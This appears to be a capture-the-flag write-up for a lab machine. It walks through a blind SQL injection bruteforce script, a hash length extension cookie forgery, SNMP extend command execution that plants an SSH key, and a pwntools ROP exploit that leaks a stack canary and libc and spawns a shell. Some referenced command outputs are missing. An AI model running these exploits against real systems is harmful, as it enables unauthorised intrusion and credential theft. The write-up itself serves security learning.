Roman Hergenreder

We will start with our initial nmap scan, which gives us the following output:

Right on the start page of the http server, we find a link providing the source of the webapp. We find a small python flask app including routes for logging in and out, inserting a note, and some admin functions, where we don't have access yet. Studying the functionality for the note insert, we find a sql injection:

@app.route("/submitmessage", methods=["POST"])
def submitmessage():
  message = request.form.get("message", '')
  if len(message) > 140:
    return "message too long"
  if badword_in_str(message):
    return "forbidden word in message"
  # insert new message in DB
  try:
    query_db("insert into messages values ('%s')" % message)
  except sqlite3.Error as e:
    return str(e)
  return "OK"

def inject(session, condition):
  global num_requests
  error_message = 'string or blob too big'

  try:
    injection = "'),((SELECT CASE WHEN %s THEN 1 ELSE zeroblob(1000000000) END))--" % (condition)
    res = session.post("%s/submitmessage" % URL, data={"message": injection})
    if res.status_code != 200 or (res.text != "OK" and res.text != error_message):
      print("[-] Server returned: %d %s - %s" % (res.status_code, res.reason, res.text))
      exit(1)

  except:
     return False

  return res.text != error_message

As we want to retrieve passwords or some secret data, we choose the following condition and let the script bruteforce:

def bruteStr(session, condition):
  found_str = ""
  found = True
  while found:
    found = False
    for x in string.printable:
      if x == "'":
        x = "''"
      if x == '%':
        continue

      print(found_str + x)
      if inject(session, condition % (len(found_str)+1,x)):
        found_str += x
        found = True
        break

  return found_str

secret = bruteStr(session, "(SELECT substr(secret,%d,1) FROM users WHERE username='admin' LIMIT 1)='%s'")
print("Found secret:", secret)

After some time, we got the admin secret:

SECRET = os.urandom(randrange(8, 15))

def sign(msg):
  """ Sign message with secret key """
  return sha256(SECRET + msg).digest()

def try_signature(cookie):
  res = requests.get("%s/admin" % URL, cookies={"auth": cookie})
  return res.status_code == 200

append = ';username=admin;secret=%s;' % admin_secret
auth_cookie = session.cookies["auth"]
b64_data, b64_sig = auth_cookie.split(".")
data = base64.b64decode(b64_data)
sig = base64.b64decode(b64_sig)

for key_len in range(8, 16):
  (new_sig, new_data) = hashpumpy.hashpump(sig.hex(), data, append, key_len)
  new_sig = base64.b64encode(binascii.unhexlify(new_sig)).decode("UTF-8")
  new_data = base64.b64encode(new_data).decode("UTF-8")
  cookie = "%s.%s" % (new_data, new_sig)
  if try_signature(cookie):
    print("Found keylength=%d cookie=%s" % (key_len, cookie))

Now we can use this cookie to make use of the admin functions. The last part is really easy, as the log view methods do not check paths, so we have a simple LFI. We can read the user flag using the following command:

To do so, we need to split up our public key, as snmp only allows command arguments of length 255 or less. Also we will probably need to execute the commands multiple times, as the server throws random errors (i don't know why to be honest). We will use the following python script:

def execCommand(cmd):
  Success = False
  while not Success:
    proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    Success = proc.wait() == 0
    time.sleep(3)

def generateCommand(arg):
  return [
    "snmpset", "-m", "+NET-SNMP-EXTEND-MIB", "-v", "2c",
    "-c", "SuP3RPrivCom90", "10.10.10.195",
    "nsExtendStatus.\"command\"", "=", "createAndGo",
    "nsExtendCommand.\"command\"", "=", "/bin/bash",
    "nsExtendArgs.\"command\"", "=", arg
    ]

def trigger():
  return os.system("snmpwalk -v 2c -c SuP3RPrivCom90 10.10.10.195 1.3.6.1.4.1.8072.1.3.2 1>/dev/null")

Using the above code, we are now able to upload our public key in parts:

pubkey = open("<your publickey>","r").read()
argument = '-c "echo -n %s >> ~/.ssh/authorized_keys"'
remaining_len = 255-len(argument)

print("[ ] Clearing ~/.ssh/authorized_keys")
execCommand(generateCommand('-c "rm ~/.ssh/authorized_keys"'))
trigger()
print("[+] Success")

chunks = textwrap.wrap(pubkey, remaining_len)
for i in range(len(chunks)):
    chunk = chunks[i]
    print("[ ] Uploading chunk %d/%d" % (i+1,len(chunks)))
    execCommand(generateCommand(argument % chunk))
    trigger()
print("[+] Success")

Now we should be able to create a SSH tunnel for port forwarding on our local machine:

We can now interact with the note_server by connecting to localhost:5001. For the rest I will structure the exploitation into multiple parts.

1. Understanding the binary

To exploit this binary we need to bypass several security precautions:

2. Leaking Stack Canary, Base Pointer and Return Address

For the first step of exploitation, we are using a bug inside option 2:

// get offset from user want to copy
if (read(sock, &offset, 2) != 2) {
  exit(1);
}

// sanity check: offset must be > 0 and < index
if (offset < 0 || offset > index) {
  exit(1);
}

// get the size of the buffer we want to copy
if (read(sock, &copy_size, 1) != 1) {
  exit(1);
}

// prevent user to write over the buffer's note
if (index > BUFFER_SIZE) {
  exit(1);
}

// copy part of the buffer to the end
memcpy(&note[index], &note[offset], copy_size);

index += copy_size;

io = start()
print("\nStage 1: Getting stack canary + base pointer")
writeToEnd()

read_size = 32
copyNote(1024,read_size)
leak = readNotes(1024+read_size)[1024:]
val = u64(leak[0:8])
canary = u64(leak[8:16])
rbp = u64(leak[16:24])
rip = u64(leak[24:])

print("\nLeaks:")
print("val = ", hex(val))
print("rbp = ", hex(rbp))
print("canary = ", hex(canary))
print("rip = ", hex(rip))
io.close()

3. Leaking libc address

io = start()
print("\nStage 2: Leaking LIBC")
base_address = rip - 0xF54 # offset calculated using vmmap
print("Base Address:", hex(base_address))
elf = context.binary
elf.address = base_address
rop = ROP(elf)
rop.write(FD, elf.got["write"])
print("\nROP Gadgets:\n" + rop.dump()) # these should appear later in the leak

buf = b""
buf += p64(val)
buf += p64(canary)
buf += p64(rbp)
buf += rop.chain()

writeNote(buf)
writeToEnd(len(buf))        # fill rest of buffer, so that index = 1024
copyNote(0,len(buf))        # copy first X bytes right after buffer
readNotes(1024+len(buf))    # get the notes

print("\nLibc Leak:")
leak = io.recv(8)           # this should be the libc leak
libc_write = u64(leak)
print("address:", hex(libc_write), "offset:", hex(libc_write & 0xFFF))
io.close()

4. Spawning a shell

elf_libc = ELF("libc6_2.27-3ubuntu1_amd64.so")
print("\nStage 3: Spawning a shell")
elf_libc.address = libc_write - elf_libc.symbols['write']
rop_libc = ROP(elf_libc)
binsh = next(elf_libc.search(b"/bin/sh\x00"))
rop_libc.dup2(FD, 0)
rop_libc.dup2(FD, 1)
rop_libc.execve(binsh,0x0,0x0)
buf = b""
buf += p64(val)
buf += p64(canary)
buf += p64(rbp)
buf += rop_libc.chain()
io = start()
writeNote(buf)
writeToEnd(len(buf))
copyNote(0,len(buf))
readNotes(1024)
io.recv(len(buf))
io.interactive()